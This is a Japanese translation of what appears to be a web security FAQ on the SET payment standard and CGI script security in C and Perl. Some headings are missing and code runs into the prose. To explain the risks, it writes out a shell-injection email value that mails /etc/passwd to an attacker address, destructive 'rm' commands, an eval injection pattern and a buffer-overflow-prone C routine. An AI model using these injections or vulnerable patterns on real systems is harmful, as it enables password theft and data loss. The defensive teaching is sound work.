インターネット上の詐欺に対応するため、SET 標準は、取引の関係者すべてのIDを保証する複雑な保証機関システムを使用しています。 顧客、業者、カード発行者、業者の銀行はすべてサインされた、 偽造できない証明書で保証されています。プライバシーの問題に対応するため、 取引は、次のように分けられています。業者は何を購入したか、代金はいくらか、 支払は承認されたかの情報にはアクセスできますが、顧客の支払方法についての情報はありません。 おなじく、カード発行者は購入金額にはアクセスできますが購入品の種類に関する情報はありません。 しかしこうした手段にも関わらず、SET は消費者に完全な匿名性を提供するものとはなっていません。
SET は顧客側と業者側の両方に特別なソフトウェアを必要とします。 SET 対応のサイトで安全な SET 処理を利用してカードで買い物をしたい場合は、SET の業者または金融機関から取得した、 SET に対応した財布を持っていなくてはなりません。 なかには、カードを使用しようとするユーザにSET 証明書の所持を求める業者もあります。 消費者にとってのSET の主な利点はディジタルの証明書によって保証された安全と、 理論上 SET 対応のサイトではどこでも同じ財布が使用できるということです。
SET のオンライン事業者になりたい業者は、SET 対応の業者用サーバ製品を構築するか購入する必要があります。 SET の Web サイトでは業者用サーバアプリケーションの購入とインストールについての情報を持った、 Vendor Status Matrixを提供しています。それから、業者は金融機関に連絡をして電子証明書を取得する必要があります。
Microsoft の Site Server Commerce Edition は、Microsoft Site Serverの上位版であり、Site Server自体は Internet Information Server の上位版です。Site Server Commerce Editionは SET を使ってリアルタイムでの信用証明に対応しています。また、コンテンツの公開、コンテンツの検索、 複数の形式でのコンテンツの送信など、Site Server のすべての機能を含んでいます。 Site Server Commerce に関する詳細情報は、以下で入手できます。 http://www.microsoft.com/siteserver/commerce/default.htm
一方、Netscape Corporation と Sun Microsystems が共同で設立したiPlanet.com は、カタログや注文の管理、 会員へのサービスや支払サービスを提供するMerchantXPert を出しています。 Netscapeの初期の電子商取引業者用サーバ製品のLivePaymentは完全な SET 対応の方向へ動いていましたが、 合併後の新しい製品は SET 対応ではなく、その方向へ向かうようには見えません。
SET に関する詳細情報は、Secure Electronic Transaction LLC のサイトを参照してください。現行の SET の仕様管理の責任を負っている組織です。
CGI スクリプトがセキュリティホールとなるケースは、以下の2つです。
CGI スクリプトは、"nobody" でサーバを実行してもセキュリティホールになる可能性があります。 破壊された CGI スクリプトは、"nobody" で実行されていても、システムのパスワードファイルをメール送信したり、 ネットワーク情報マップを調べたり、大きな番号のポートでログインセッションを起動したりできます (これを遂行するには、Perl でいくつかコマンドを実行するだけです)。 サーバが chroot で実行されていても、バグのあるCGIスクリプトはホストを危険にさらすに十分なシステムの情報を漏らしてしまう可能性があるのです。
また、クラッカーがドキュメントツリーに .cgi ファイルを作り、 URL をリクエストしてそれを実行してしまうという危険性もあります。 厳重にアクセスをコントロールされた cgi-bin のディレクトリで、この危険性を減らすことができます。
まず第一に、スクリプトのソースコードへのリモートユーザのアクセスについての問題があります。 クラッカーにスクリプトの働きに関しての知識があればあるほど、利用できるバグを見つけやすくなります。 C のようなコンパイルされた言語で書かれたスクリプトでは、それをバイナリ形式に埋め込んでcgi-bin/ に置いておけば、 ソースコードにアクセスされる心配はありません。しかし、解釈されたスクリプトでは、ソースコードはいつも、 潜在的に使用可能な状態にあります。正確に構成されたサーバなら実行可能なスクリプトにソースコードを戻すということはありませんが、 抜け道は他にもたくさんあります。
次の仮説を想定してください。便利なので、あなたはCGI スクリプトを cgi の拡張子をつけてサーバと結びつけておくことにしました。後で、 解釈された CGI スクリプトに小さな変更をする必要があり、あなたはスクリプトを Emacs テキストエディタで開いて変更を加えました。 不運なことに、その編集によってドキュメントツリーのなかにスクリプトのソースコードのバックアップコピーが残ります。 リモートユーザはスクリプト自体を取ってもソースコードの入手はできませんが、以下の URL を行き当たりばったりにリクエストすれば、 バックアップコピーを入手することができます。
http://your-site/a/path/your_script.cgi~
(CGI スクリプトを cgi-bin に限定し、その cgi-bin は必ずドキュメントルートから離しておくもう一つの理由がこれです。)
もちろん、C で書かれているCGI スクリプトのソースコードが Web 上で自由に使用できることも多く、 その場合はクラッカーのソースコードを盗む能力は問題ではありません。
コンパイルされたコードが解釈されたコードよりも安全なもうひとつの理由は、サイズと複雑さの問題です。 Shell や Perlのような大きなソフトウェアには、バグがある可能性があります。 バグのうちのいくつかは、セキュリティホールかもしれません。そこにあるのに、私達が気づいていないだけなのです。
三番目に考えるべき点は、スクリプト言語は非常に簡単にシステムコマンドにデータを送り、 その出力物を得ることを可能にしてしまう、ということです。下記に説明するように、 スクリプト内からのシステムコマンドの呼び出しは潜在的なセキュリティホールのひとつです。 C では、システムコマンドを呼び出すには手間がかかるので、プログラマはあまり好みません。 特に、完全に危険な構造を避けられる程複雑な Shell スクリプトを作成するのは非常に困難です。 取るに足らないCGIプログラムの場合を除いて、Shellスクリプト言語を使用するのはいい選択肢とは言えません。
これまで話をしてきましたが、私はコンパイルされた言語が安全だと保証しているわけではないことを理解しておいてください。 C で書かれたプログラムも、NCSA httpd 1.3 とsendmail がネット上で起こしたように、 悪用されるバグをたくさん持っている可能性があります。解釈されたスクリプトには問題もありますが、 スクリプトが短いので作成者以外の人にも理解しやすいという利点もあります。 さらに、Perl には潜在的なセキュリティホールを見つけるよう設計されたいくつかの機能が組み込まれています。 たとえば、taintチェック (下記参照) は CGI スクリプトの一般的な落とし穴を見つけることができたりするので、 同等の C のプログラムよりもいくつかの点においてはPerl の方が安全かもしれません。
そのスクリプトが完全に安全であるかはわかりません。一番良いのは、そのスクリプトをよく調べて、何を、 どのような仕組みで行っているか理解することです。もしあなたがスクリプトに書かれている言語がわからない場合は、 わかる人に見てもらいましょう。
スクリプトを調べるときに考慮する点は以下のとおりです。
このバグは、サーチエンジンをローカルにインストールした場合のみ、あなたの Web サイトを危険にさらすというとに注意してください。 Excite.com の検索ページや Excite ロボットの索引に載っているページにリンクしても、サイトには影響しません。
1998 年 2 月以前のパッチされていないバージョンでは、さらに悪い問題が見つかっています (残念ながら、これもバージョン 1.1 と呼ばれています)。 このバグは、ユーザの供給したパラメータを、 shell に送る前にチェックせずに、リモートユーザが shell コマンドをサーバホスト上で実行できてしまうという欠陥です。 そのコマンドは、Web サーバの特権で実行されることになります。
詳細とパッチについては http://www.excite.com/navigate/patches.htmlを参照してください。
私自身の生涯の痛恨事として、バグの見つかった CGI スクリプトの1つ nph-publishを使用したことがあります。 私はこれを使って Netscape Navigator Goldなどのパブリッシュ用エディタから Apache の Web サーバに HTML 文書を「公開」できるスクリプトを作成したのですが、ユーザ供給のパス名を正しく確認せず、 許可されていない部分にファイルを書き込む危険のあるスクリプトになってしまいました。 サーバが非常に多くの特権を持って実行されている場合、このバグは大きな問題となる可能性があります。 このスクリプトを使用している場合は、必ずバージョン 1.2 以降に更新してください。 このバグは、Randal Schwartz氏 (merlyn@stonehenge.com) によって発見されました。
リスト中、nph-publishの次の 二つのスクリプトのバグは Paul Phillips 氏(paulp@cerf.net) によって発見されました。彼はまた、CGI security FAQの作成者でもあります。 PHF (phone book) スクリプトのバグは Jennifer Myers氏 (jmyers@marigold.eecs.nwu.edu)によって発見され、NCSA の util.c ライブラリを使用するすべての CGI スクリプトにおける潜在的なセキュリティホールの代表となっています。 util.c の問題を fix するパッチはこちら です。
このページでは、バグのあるスクリプトの報告が随時掲載されます。
なお、Net.Genesis社とDevra Hallの共著「Build a Web Site」 という本の中で "good CGI scripting" の例として挙げられているあるスクリプトは、確認していないユーザをシェルに有効にしてしまうという古典的なエラーを含んでいます。 問題のスクリプトが掲載されているのは 11.4 章「Basic Search Script Using Grep」 443ページ です。 この本の中のその他のスクリプトも、同じようなセキュリティホールを含んでいるかもしれません。
ここで挙げたリストは、完成からほど遠いものです。一般に公開されたすべての CGI スクリプトを監視する中心機関はありません。 しかし、CERTではバグのあるスクリプトの情報を把握した場合には、警告通知を発行しています。 CERTのメーリングリストに登録する、あるいはときどき警告の記録を見るのは賢明と言えるでしょう。
最終的には、各スクリプトを調査し、そのスクリプトがなにか安全でないことをしないかどうか確かめるのは、自分自身なのです。
いくら巧妙な効果を作り出すことができるからといっても、システムの情報を漏らしてしまうスクリプトは避けるべきです。 たとえば、"finger" コマンドは、指名されたユーザのホームディレクトリの物理パスを出力するので、 fingerを呼び出すスクリプトからこの情報が漏れることになります (finger デーモンは完全に disable にしておくべき、 できれば削除してしまうべきです)。 w コマンドはローカルユーザが使用しているプログラムについての情報を与えます。 ps コマンドはどのような形式でも、システムで実行されているデーモンについての重要な情報を、 侵入しようとしているユーザに与えます。
ユーザ入力を読み込むときにキャラクタバッファのオーバフローを許すようなコーディングは、 セキュリティホールを作る大きな要因となっています。問題の簡単な例を記します。
#include <stdlib.h>ここでの問題は、作成者が、POST リクエストによって供給されたユーザ入力情報が固定された入力バッファのサイズ、 この例では 1024 バイトを決して超えない、と仮定をしたことにあります。これは良くありません。 ずる賢いクラッカーはそのサイズの入力を何度も供給することでこの種のプログラムを壊すことができます。 バッファがオーバフローし、プログラムがクラッシュします。ある状況では、プログラムがクラッシュすると、 クラッカーがリモートでコマンドを実行可能となることもあります。
#include <stdio.h> static char query_string[1024]; char* read_POST() {
int query_size; query_size=atoi(getenv("CONTENT_LENGTH")); fread(query_string,query_size,1,stdin); return query_string; }
この問題を、直接バッファを割り当てることで回避した、read_POST() 機能の簡単なバージョンがあります。 入力情報を保存するのに十分なメモリがない場合、その内容は NULL に戻されます。
char* read_POST() {
int query_size=atoi(getenv("CONTENT_LENGTH"));
char* query_string = (char*) malloc(query_size);
if (query_string != NULL)
fread(query_string,query_size,1,stdin);
return query_string;
}
もちろん、一度データに読み込んだらバッファがオーバフローしないように常に確認するべきです。
strcpy()、strcat() や終わりに達するまで文字列をコピーするその他の文字列機能には気をつけてください。
代わりに strncpy() または strncat() 呼び出しを使用してください。
#define MAXSTRINGLENGTH 255
char myString[MAXSTRINGLENGTH + sizeof('\0')];
char* query = read_POST();
assert(query != NULL);
strncpy(myString,query,MAXSTRINGLENGTH);
myString[MAXSTRINGLENGTH]='\0'; /* ensure string terminator */
(strncpy のセマンティクスは 入力文字列がちょうどMAXSTRINGLENGTHのバイトの長さになるときは注意してください。NULL で終わるよう調整する必要があります。)
C では、popen() や system() コマンドなどにこれが言えます。これらはすべてコマンドを処理するために /bin/sh のサブシェルを呼び出します。Perlでは Perlのインタプリタを呼び出すeval() や、 system()、 exec()、および piped open() などにこれが言えます。様々なシェルでは、exec や eval コマンドなどに同じことが言えます。
シェルのインタプリタや Perl ではテキストの文字列としてプログラムの出力を理解する Backtick 引用句もまた、危険です。
これほどまでにこだわる理由は、以下に示す一見何の問題もなさそうなPerl のコードを見ていただければ分かります。 これは、記入フォームに記されたアドレスにメールを送信するコードです。
$mail_to = &get_name_from_input; # read the address from form open (MAIL,"| /usr/lib/sendmail $mail_to"); print MAIL "To: $mailto\nFrom: me\n\nHi there!\n"; close MAIL;問題は、piped open() 呼び出しにあります。作成者は $mail_to 変数の内容はいつも悪意のない電子メールアドレスだと想定していますが、 もしずる賢いクラッカーが以下のような電子メールアドレスを渡したらどうなるでしょうか。
nobody@nowhere.com;mail badguys@hell.org</etc/passwd;
これに対しopen() の記述は以下のコマンドを判断します。
/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org</etc/passwdopen() は何も考えずにシステムパスワードファイルの内容をリモートユーザにメール送信してしまい、その結果ホストのパスワードを攻撃にさらすことになります。
$mailto = &get_name_from_input; # read the address from form open (MAIL,"| /usr/lib/sendmail -t -oi"); print MAIL <<END; To: $mailto From: me (me\@nowhere.com) Subject: nothing much Hi there! END close MAIL;C のプログラマーは exec ファミリのコマンドを使用し、引数をシェルを通さずに直接プログラムに渡すことができます。 これは、下記の方法を使用すれば、Perl でも可能です。
シェルを開けないようにする方法をなんとか見つけてください。まれに全く選択肢がないという場合は、 シェルのメタキャラクタの引数を常にスキャンし、削除してください。シェルのメタキャラクタは、 以下に示すようにかなりの数があります。
&;`'\"|*?~<>^()[]{}$\n\r
このリストには、復帰文字や復帰改行文字が含まれていることに注意してください。これらは、C での CGI スクリプトの例として広く普及している NCSA の util.c
ライブラリには抜けています。
シェルのメタキャラクタをむやみに削除して予期しない副作用がないように願っているよりも、 ユーザ入力の引数がすべて予期していたものであるか確かめる方が良いでしょう。 シェルを避けてユーザ変数を直接プログラムに渡しても、その変数が呼び出したプログラムにホールを見つけだしてしまう構造を含んでいないとは限らないのです。
例として、ユーザが作った $mail_to アドレスが有効なアドレスに見えるかどうか確かめる方法を挙げます。
$mail_to = &get_name_from_input; # read the address from form
unless ($mail_to =~ /^[\w.+-]+\@[\w.+-]+$/) {
die 'Address not in form foo@nowhere.com';
}
(この特殊なパターンマッチはサイトによっては限定されすぎているかもしれません。
UUCP-style のアドレス、またはそれに代わるアドレスの仕組みの多くは認められません。)
system("ls -l /local/web/foo");
の代わりに、以下を使用してください。
system("/bin/ls -l /local/web/foo");
PATH に依存しなくてはならない場合は、CGI スクリプトの初めに以下を加えます。
putenv("PATH=/bin:/usr/bin:/usr/local/bin");
一般的に、パスにカレントディレクトリ (".") をつけるのはあまりお勧めできません。
自動的に CGI スクリプトを完全に安全にできるものは何もありませんが、CGI 「ラッパ」 のスクリプト内に置くことで、ある状況下では安全性を高めることができます。 ラッパはスクリプト上である程度のセキュリティチェックや、CGI 処理の所有権の変更をし、UNIX の chroot のメカニズムを使用してシステムファイルの制限された部分にスクリプトを置くことができます。
UNIX システムでは使用可能なラッパが多数あります。
cgiwrap はCGI スクリプトの周りにラッパをつけ、 あるユーザのスクリプトが彼自身のユーザ ID で実行するようにすることができます。 これをポリシーとし、 CGI スクリプトを実行するにはcgiwrap を必ず使用するようユーザに強制できます。 そうすれば管理は簡単になり、ユーザがお互いに干渉するのを防ぐことができるのです。
しかし、この種のラッパは個々のユーザに対しては危険を増すことになります。 あるユーザのスクリプトはそのユーザ自身の許可で実行されるため、破壊された CGI スクリプトで以下のコマンドを実行すると、 そのユーザのホームディレクトリを破壊する可能性があるからです。
rm -r ~
破壊された CGI スクリプト はユーザのホームディレクトリに書き込みアクセス権を持っているので、 そのユーザのディレクトリにトロイの木馬を置くことも可能です。
もう1つのラッパ はsboxで、著者によって書かれたものです。 cgiwrap のように、CGIの作成者のユーザ、またはそのグループとしてスクリプトを実行できます。 しかし、sboxではCGI スクリプトにより損害が引き起こされるのを防ぐためにさらに手段を設けています。 その1 つとして、sbox は任意で、限定されたディレクトリに対して chroot を実行し、 ユーザのホームディレクトリや残りのファイルシステムの多くから、スクリプトを隠します。 もう 1 つとしては、sbox を使用して CGI スクリプトに対するリソースの割り当てを制限できます。 これにより、ある程度までDoS 攻撃を防ぐことができます。
Apache の UNIX バージョンで実行するときは、sbox はユーザの維持しているディレクトリと仮想ホストをサポートします。
スクリプトへのアクセスを制限するときは、スクリプト自体にも、それにアクセスするどの HTMLフォームにも同じように制限をしておいてください。進行中に独自のフォームを作る種類のスクリプトの場合、 これを覚えることが容易です。
http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txtこの文書には役立つアドバイスが非常に多くありますが、1995 年の 9 月から更新されていません。 最近では、Selena Sol 氏が構築済み(プレビルト)の CGI スクリプトのインストールの危険性についての素晴らしい論文を発表しました。 その中にスクリプトの作成やカスタマイズについて、そのセキュリティを高めるために役立つアドバイスが多くあります。 この論文は以下のサイトで見ることができます。
http://Stars.com/Authoring/Scripting/Security/Perl および CGI のスクリプト作成についての全般的な導入に関しては、Perl CGI FAQ が良いでしょう。
http://language.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.htmlこれは Tom Christiansen 氏(tchrist@perl.com) と Shishir Gundavaram 氏(shishir@ora.com)によって書かれたものです。
$date = `/bin/date`;
プログラムまでのパイプを開いたり
open (SORT, " | /usr/bin/sort | /usr/bin/uniq");外部プログラムを呼び出し、それが system() 関数で返されるまで待ったり
system "/usr/bin/sort < foo.in";外部プログラムを呼び出し、なおかつ exec() 関数では返されないようにすることができます。
exec "/usr/bin/sort < foo.in";構文内にシェルのメタキャラクタを含む可能性のあるユーザ入力情報が含まれていた場合、 これらはエラーを起こすことがあります。system() および exec() 関数は、 シェルを介さずに直接外部プログラムを呼び出すことができるといった、いくぶん構文を曖昧化する機能があります。 引数を外部プログラムに渡す際には、ひとつの長い文字列ではなくいくつかに分けられたリストで渡されます。 Perl 言語はシェルを介さないので、シェルのメタキャラクタが望ましくない影響を及ぼすことがなくなります。
例: system "/usr/bin/sort","foo.in";シェルを介さずにパイプを開ける際に、この機能を利用することができます。マジック文字シーケンス "|-" のオープンを呼び出すことでPerlをコピーし、これにパイプを開きます。 この複製 Perl は exec() 関数の変形引数リストを使って他のプログラムを実行することができます。
my $result = open (SORT,"|-");
die "Couldn't open pipe to subprocess" unless defined($result);
exec "/usr/bin/sort",$uservariable or die "Couldn't exec sort"
if $result == 0;
for my $line (@lines) {
print SORT $line,"\n";
}
close SORT;
open() への最初の呼び出しは Perl の複製を作ろうとします。呼び出しに失敗した場合は不定値が返され、
記述はただちに無効となります (このときユーザへ HTML エラーメッセージを送るなど、
より洗練された対策を講じることも可能です)。呼び出しに成功した場合、複製 Perl 処理にゼロが返され、
複製 Perl の処理 ID が複製元 Perl に返されます。
複製 Perl は結果の値を調べ、ただちに sort プログラムを実行しようとします。
この時点で何らかのエラーが生じた場合、複製 Perl は処理を終了します。
複製元 Perl は通常どおり SORT ファイルハンドルに印字します。
シェルを開かずにパイプから読み出すためには、シーケンス -| と同等の処理をします。
$result = open(GREP,"-|");
die "Couldn't open pipe to subprocess" unless defined($result);
exec "/usr/bin/grep",'-i',$userpattern,$filename
or die "Couldn't exec grep" if $result == 0;
while (<GREP>) {
print "match: $_";
}
close GREP;
上記はパイプを開くコマンドを実行しないときに使用する open() 関数の形式です。
外部プログラムを呼び出す際にその名前を正確に指定する必要のない、より曖昧化された機能もあります。 この機能は、呼び出される名前によって異なった働きをするプログラムを呼び出すときに便利です。
構文:
system $real_name "fake_name","argument1","argument2"例:
$shell = "/bin/sh"この構文は "-sh" という名前のシェルを呼び出し、インタラクティブに作用するよう強制します。 実際のプログラム名は変数内に格納されています。実際のプログラム名を含む変数と引数リストの間にコンマは入らないことに注意してください。
system $shell "-sh","-norc"
上記の構文をさらにコンパクトにすることもできます。
system { "/bin/sh" } "-sh","-norc"
taint チェックはPerl Ver. 4では "taintperl" という特殊なインタプリタを使用して起動できます。
#!/usr/local/bin/taintperlPerl Ver. 5では -Tフラグをインタプリタへ渡してください。
#!/usr/local/bin/perl -T変数を "untaint" する (汚れをとる) 方法については、以下を参照してください。
taint モードに関する詳しい説明は、Gunther Birznieksの CGI/Perl Taint Mode FAQ を参照してください。
$ENV{'PATH'} = '/bin:/usr/bin:/usr/local/bin';
検索するディレクトリのリストに、この行を必要に応じて調整して挿入してください。ただし、
現在のディレクトリ (".") をパスに入れるのは避けてください。
$mail_address=~/(\S+)\@([\w.-]+)/; $untainted_address = "$1\@$2";これは、"where" がドメイン名のような役割を示し "who" が空白以外の1つ以上の文字で構成される who@where という形式の電子メールアドレスを受け入れるパターンマッチです。ただし、 通常使用されているこの表記法は、電子メールアドレスからシェルのメタキャラクタを消去するものではないことに注意してください。 例えば以下の文字列にはメタキャラクタが含まれていますが、これは電子メールアドレスとしては完全に有効だからです。
fred&barney@bedrock.comこの電子メールの例を見ればよく分かるように、変数を untaint しても、シェルに渡して大丈夫となったわけではありません。 Q44 であげた方法を用いて、 危険性を秘めた変数がシェルに渡されないようにしてください。
foreach (@files) {
m/$user_pattern/o;
}
しかしこのとき、Perl はユーザ変数に対して行った変更を無視し、以下のようなループを起こしてしまいます。
foreach $user_pattern (@user_patterns) {
foreach (@files) {
print if m/$user_pattern/o;
}
}
これを回避するため、Perl プログラマは次のような技を使います。
foreach $user_pattern (@user_patterns) {
eval "foreach (\@files) { print if m/$user_pattern/o; }";
}
ここでの問題は、ユーザが供給する変数を eval() 関数が含んでいることです。
この変数が十分にチェックされないと、eval() 関数は間違って任意の Perl コードを実行してしまいます。
どのような現象が起こるかは、たとえばユーザが "/; system 'rm *'; /" というパターンに
eval 関数を渡したらどうなるかを考えてみると分かります。
前に述べた taint チェックは、この潜在的な問題点を見つけることができます。 他の方法として、パターンマッチ操作を最適化していない形式で使用するか、 十分に注意してユーザサプライのパターンを untaint する方法があります。Perl5 では、 エスケーシーケンス \Q \E を使用してメタキャラクタを引用し、 それらが解釈されないようにするという便利な方法もあります。
例: print if m/\Q$user_pattern\E/o;
"s" ビットを設定することによって、スクリプトに所有者の特権を持たせて動作させることができます。
chmod u+s foo.plまた、"s" ビットをグループフィールドに設定することによって、 スクリプトに所有者グループの特権を持たせて動作させることもできます。
chmod g+s foo.plしかし、多くの UNIX システムにはsuid スクリプトを破壊するセキュリティホールがあります。 このホールはスクリプトに対してのみ作用し、コンパイルされたプログラムには影響しません。 このようなシステムで suid ビットが設定された Perl スクリプトを実行しようとすると、 Perl 自身からエラーメッセージが出されます。
このようなシステムに対して、2 つのオプションがあります。
ftp://rtfm.mit.edu/pub/usenet-by-group/comp.lang.perl/
#include <unistd.h>
void main () {
execl("/usr/local/bin/perl","foo.pl","/local/web/cgi-bin/foo.pl",NULL);
}
このプログラムをコンパイルしたのち、suid スクリプトにしてください。所有者の承諾を得た状態で動作し、
Perl のインタプリタが立ち上がり、ファイル "foo.pl" 内のステートメントが実行されます。
もうひとつのオプションとしては、サーバ自身をスクリプトが必要とする特権を十分に持つユーザとして動作させる方法があります。 もしCERN サーバを使っているのであれば、それぞれのスクリプトに対し異なったユーザとして動作させることもできます。 詳細は CERN のマニュアルを参照してください。
ほとんどのサーバはすべてのアクセスを記録しています。通常、ログ